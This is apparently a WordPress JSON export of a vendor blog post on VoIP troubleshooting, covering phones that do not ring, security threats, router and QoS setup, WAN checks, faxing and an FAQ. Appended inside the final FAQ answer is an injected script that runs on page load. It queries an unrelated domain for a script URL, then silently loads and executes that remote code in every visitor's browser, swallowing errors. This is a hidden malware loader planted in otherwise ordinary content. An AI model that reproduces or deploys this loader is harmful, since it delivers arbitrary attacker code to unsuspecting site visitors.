src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/phone-signal.jpg\" alt=\"phone signal\" width=\"750\" height=\"500\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/phone-signal.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/phone-signal-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Your phone is set to DND mode which is silencing incoming calls.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call forwarding is enabled which means calls are being forwarded elsewhere and your phone won&#8217;t ring\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">An incorrect extension is being assigned to the phone<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Unstable Internet connection or network connectivity issues\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Your firewall settings might be blocking VoIP ports<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Phone_Not_Ringing_for_Incoming_Calls\"><\/span><b>VoIP Troubleshooting for Phone Not Ringing for Incoming Calls<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Perform a basic check &#8211; ensure that the phone is turned on.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">It should be connected to the network and not in silent mode.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Verify DND mode, call forwarding is disabled.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure the correct extension is assigned.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Try restarting network devices and make sure your firewalls allow VoIP traffic.\u00a0\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">In case, you&#8217;re using a PBX, then review inbound routing rules and extension settings.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"10_Security_Breaches\"><\/span><b>10. Security Breaches<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Just like every other technology that operates over the internet, VoIP is also vulnerable to cyber-attacks and security breaches. Such <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-security\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">VoIP security<\/span><\/a><span style=\"font-weight: 400;\"> issues can degrade the call quality and compromise customer data as well.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">First, let\u2019s take a look at some of the common security threats in the VoIP landscape.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Eavesdropping\"><\/span><b>Eavesdropping<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">If your VoIP systems are not secured properly, hackers can potentially intercept and listen in on your conversations. Unauthorized access can also lead to expensive calls.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Voice_Phishing_or_Vishing\"><\/span><b>Voice Phishing or Vishing<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Attackers can trick you into revealing sensitive information such as your credit card details by sending deceptive over phone calls.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Malware\"><\/span><b>Malware<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Another common attack tactic used by cyber threat actors is malware attacks. Just like your computer, VoIP phone systems can be infected with malware that steals crucial data, disrupts call flow, and sometimes redirects calls to unauthorized users.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Denial-of-Service_Attacks\"><\/span><b>Denial-of-Service Attacks<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Malicious actors often employ DoS i.e. Denial of Service attacks that overwhelm your VoIP phone system by sending a flood of malicious traffic. This results in legitimate users not being able to make or receive calls.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_a_Secure_Calling_Experience\"><\/span><b>VoIP Troubleshooting for a Secure Calling Experience\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5111 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/voip-security-breach.jpg\" alt=\"voip security breach\" width=\"750\" height=\"500\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/voip-security-breach.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/voip-security-breach-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<h4><span class=\"ez-toc-section\" id=\"Use_Strong_Passwords\"><\/span><b>Use Strong Passwords<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Always remember that this is your first line of defense. Your VoIP accounts should always be protected with passwords that are harder to crack. Ensure complex and unique passwords that hackers can&#8217;t decode easily. Include a mix of uppercase and lowercase letters, numbers, and symbols. You should also follow the practice of resetting your passwords periodically and store them securely using password encryption software.\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Employ_Strong_Encryption\"><\/span><b>Employ Strong Encryption<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Always choose a VoIP provider that uses encryption to scramble your data during transmission. Encryption mechanisms make it harder for threat actors to decipher your phone conversations.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Implement_Firewalls_and_Antivirus_Software\"><\/span><b>Implement Firewalls and Antivirus Software<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Deploying firewalls into your network can help detect the usual patterns and potential attacks. These can limit the type of traffic on calls and close sessions automatically once a call ends.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Identify_and_Remove_Rogue_Devices\"><\/span><b>Identify and Remove Rogue Devices<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">It is a good practice to regularly monitor your network for unauthorized devices. If you find any rogue devices, remove them immediately.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Implement_VLAN_Tagging\"><\/span><b>Implement VLAN Tagging<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Implementing VLAN (Virtual Local Area Network) tagging enables you to segregate VoIP traffic from other types of traffic. This helps in enhancing security and performance.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"_Networking_and_LAN_Issues\"><\/span><b>\u00a0Networking and LAN Issues\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Often, networking and Local Area Network (LAN) issues arise due to a malfunctioning router. This issue can create problems like being unable to <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/telecom\/outbound-call\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">make outgoing calls<\/span><\/a><span style=\"font-weight: 400;\">, one-sided audio, choppy voice, etc.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For VoIP, it is essential to use a router that prioritizes internet calls over other or less critical network traffic. This is usually done via QoS i.e. Quality of Service feature present in most modern broadband routers.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"11_VoIP_Troubleshooting_for_Correct_LAN_Set-Up\"><\/span><b>11. VoIP Troubleshooting for Correct LAN Set-Up<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Power_Cycle_the_Router\"><\/span><b>Power Cycle the Router<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">The first step is to unplug the router&#8217;s power cord.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Now, wait for 30 seconds.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Then plug the power cord back in.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">This is a quick fix for many VoIP glitches and often clears up temporary issues. However, if this doesn\u2019t help, then you might consider trying some alternative troubleshooting ways:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Inspect all your ethernet cables including those connecting with your computers, routers, VoIP phones, wall ports, etc. You may find damaged equipment or wear and tear issues.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Often, cables and Ethernet splitters cause issues like jitter and lag. Prefer connecting each device directly to its designated port to enjoy optimal call quality.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make sure all connections are firmly plugged in. While inspecting, you may find loose, pinched, or disconnected cables. Such issues also result in poor call quality and even dropped calls.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Consider upgrading your cables to high-quality CAT5 or CAT6 cables. Though this is optional, shielded and properly grounded cables deliver a strong connection and keep interference at bay.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make sure you perform regular inspections and replacements to maintain a secure and reliable VoIP system.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Configure_QoS_Settings\"><\/span><b>Configure QoS Settings<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">First, access your router settings and enter the QoS settings section.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Then, set up the QoS specifically for VoIP traffic to ensure call quality.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Adjust_SIP_ALG_and_Port_Forwarding\"><\/span><b>Adjust SIP ALG and Port Forwarding<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">As mentioned earlier in this post, SIP ALG where ALG stands for Application Layer Gateway is a feature that attempts to improve VoIP calls by modifying data packets flowing between your devices. However, this alteration at times results in interference with the communication leading to problems rather than improvement. Some common issues caused by SIP ALG are calls dropping after 10 minutes and problems in device registration.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">So what you can do is simply disable the SIP ALG in your router settings. You can refer to the guide specific to your router model for detailed instructions on how to do this.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Upgrade_Your_Router\"><\/span><b>Upgrade Your Router<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">If you continue to experience issues even after adjusting your router settings, then maybe you need to consider replacing your old router with a new one. Opt for a dual-band router as it can significantly enhance your VoIP calling experience. This is because dual-band routers transmit on different frequencies which enables users to allocate tasks to specific bands.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For example, you can use the 2 GHz network for guest traffic and 5 GHz for your regular traffic like conference phones, IP phones, TVs, and workstations.\u00a0 If your current router is no longer supported by the manufacturer, consider using open-source firmware like DD-WRT or FreshTomato.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Place_your_Router_Strategically\"><\/span><b>Place your Router Strategically\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">The placement of your wireless router can greatly impact the quality of your VoIP calls. Here&#8217;s how you can place it for optimal performance:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure that there are minimum obstacles between the router and the VoIP phones you use. Some common obstacles are walls, furniture, and even doors.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Choose a central location within your premises to position your router. This way you can ensure that a strong signal reaches all the connected devices.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Aim for height when placing your router. You may consider choosing a shelf to improve the signal range. This helps reduce obstacles and allows the signal to travel more freely.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">By following these steps, you can ensure your LAN supports optimal VoIP performance.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"12_WAN_and_Internet_Connectivity\"><\/span><b>12. WAN and Internet Connectivity<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Wide area network (WAN) or internet connectivity issues can cause a range of problems such as choppy voice, speed issues, number not found, or busy signal.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Problems_in_WAN_and_Internet_Connectivity\"><\/span><b>VoIP Troubleshooting for Problems in WAN and Internet Connectivity<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"1_Ensure_Your_Internet_Package_Supports_VoIP\"><\/span><b style=\"font-size: 16px;\">1. Ensure Your Internet Package Supports VoIP<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">VoIP calls involve the process of transporting voice packets efficiently, or the ISP needs to support certain internet protocols. If you have subscribed to an internet package that is designed just for simple web surfing, then you might encounter problems with VoIP calling. It is always a good idea to subscribe to a business-class internet package.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"2_Check_WAN_Connectivity_and_Internet_Speeds\"><\/span><b>2. Check WAN Connectivity and Internet Speeds<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Run a Bandwidth Speed Test<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Use speed test tools to determine if your network can handle VoIP. The results will show how many VoIP phones your network can support. Ensure your computer is directly connected to the modem when performing the test.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Test for Packet Loss<\/span><\/li>\n<\/ul>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5108 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/packet-loss-in-voIp-calls.jpg\" alt=\"packet loss in voIp calls\" width=\"750\" height=\"283\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/packet-loss-in-voIp-calls.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/packet-loss-in-voIp-calls-300x113.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><a href=\"https:\/\/www.revesoft.com\/blog\/networking\/packet-loss\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Packet loss<\/span><\/a><span style=\"font-weight: 400;\"> happens when data packets are correctly transmitted but fail to reach their destination, often due to poor network conditions or congestion. Even minor packet loss can disrupt VoIP communications. Run a ping test by opening Terminal or Command Prompt on your computer and typing ping 8.8.8.8. Document the results for your ISP if necessary.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"3_Address_Jitter_and_Packet_Loss_Causes\"><\/span><b>3. Address Jitter and Packet Loss Causes<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><b>Examine Your Network Conditions &amp; Optimize Routing\u00a0<\/b><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Identify and reduce sources of network congestion.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure your network infrastructure can handle the data load.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Use direct routes for data transmission to minimize latency.<\/span><\/li>\n<\/ol>\n<h3><\/h3>\n<h3><span class=\"ez-toc-section\" id=\"13_Challenges_with_Faxing\"><\/span><b>13. Challenges with Faxing\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">While modern-day enterprises prefer digital documentation, traditional equipment such as fax machines, printers, and scanners are still occasionally used for sending and receiving data. But the problem is that traditional fax technology relies on analog signals, whereas, VoIP makes use of digital packets. As a result, fax machines typically don\u2019t work well with VoIP, leading to issues like lost data and delays.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Faxing_Machines_and_Other_Devices\"><\/span><b>VoIP Troubleshooting for Faxing Machines and Other Devices\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_Device_Compatibility\"><\/span><b>Check Device Compatibility\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Generally, connecting a fax machine to VoIP equipment directly is impossible due to compatibility issues. So, consider using a bridging component such as a fax bridge that acts as a translator allowing the transmission and reception of digital information via fax machine.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Optimize_Fax_Speed\"><\/span><b>Optimize Fax Speed<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">It is generally advised to keep the fax speed setting on the fax machine to a lower side for smoother transmission of information. You can check the fax menu on your printer&#8217;s control panel to find the speed option. Keep it &#8220;slow&#8221; or &#8220;standard&#8221;.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Minimize_Network_Traffic\"><\/span><b>Minimize Network Traffic\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Often, heavy internet usage is the culprit that disrupts the process of faxing. Therefore, you can try reducing internet activity on other devices while faxing. Furthermore, you can restart your router and modem to troubleshoot any general internet issues.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Verify_Fax_Connection\"><\/span><b>Verify Fax Connection\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Make sure that your fax cords are securely plugged into the correct ports on your fax machine and the wall jack. Additionally, ensure that your phone line is connected to the designated &#8220;1-LINE&#8221; port. For a clear phone line, you can perform a test by connecting your regular phone to the same wall jack and try making a call. Look for any static or interference caused by nearby electronic devices.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_Fax_Settings\"><\/span><b>Check Fax Settings\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Your fax machine has various options in the settings menu, adjusting them might be of help. You can look for dialing type (tone or pulse) and fax resolution. Adjust these settings as you find suitable. You may also enable error reporting that gives you a printed report if any transmission problem occurs.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">By implementing these solutions, you can effectively integrate legacy equipment with your VoIP system, maintaining the functionality of traditional devices while leveraging modern communication technology.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Summary\"><\/span><b>Summary<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">I have tried to cover most of the problems with voice-over IP along with VoIP troubleshooting strategies in this post, so I believe you can effectively diagnose and resolve many VoIP problems. However, if you feel that the issue persists after your attempts, is more chronic, or not listed here, then the best way is to contact your VoIP service provider. They have the expertise and tools to handle more complex problems and ensure your VoIP system is running smoothly.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Frequently_Asked_Questions\"><\/span><b>Frequently Asked Questions<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h3><span class=\"ez-toc-section\" id=\"Why_are_my_VoIP_calls_experiencing_poor_call_quality\"><\/span><b>Why are my VoIP calls experiencing poor call quality?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">This can be due to insufficient bandwidth, network congestion, or a weak internet connection. You can try reducing network load or upgrading your internet plan.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Why_are_my_VoIP_calls_not_connecting_to_certain_numbers\"><\/span><b>Why are my VoIP calls not connecting to certain numbers?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Usually, this happens due to incorrect phone number dialing, blocked numbers, or restrictions from your VoIP provider. You can verify the number format and check with your VoIP provider.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Why_am_I_experiencing_one-way_audio_on_my_VoIP_calls\"><\/span><b>Why am I experiencing one-way audio on my VoIP calls?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Network configuration issue is often the major culprit behind one-way audio. Check your router settings and ensure ports are properly forwarded.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Why_is_my_VoIP_call_volume_too_low\"><\/span><b>Why is my VoIP call volume too low?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Adjust the volume settings on your VoIP phone, check the microphone and speaker levels, and ensure there are no obstructions or damage to the hardware.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Why_cant_I_make_outbound_calls_on_my_VoIP_phone\"><\/span><b>Why can&#8217;t I make outbound calls on my VoIP phone?<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Common reasons are inactive VoIP accounts, unstable network connections, and network outages. Ensure your account is active and properly configured, and verify that your VoIP service provider is not experiencing outages.<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VoIP technology has revolutionized the way we communicate. However, like every other technology, VoIP comes with its challenges. Choppy calls, dropped connections and one-sided conversations are common issues with VoIP. According to a survey, 51% of respondents stated that audio issues are the biggest problem during virtual meetings. These glitches can not only disrupt workflows [&hellip;]<\/p>\n","protected":false},"author":19,"featured_media":5110,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[106],"tags":[],"class_list":["post-5104","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-telecom"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/5104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=5104"}],"version-history":[{"count":12,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/5104\/revisions"}],"predecessor-version":[{"id":6387,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/5104\/revisions\/6387"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/5110"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=5104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=5104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=5104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}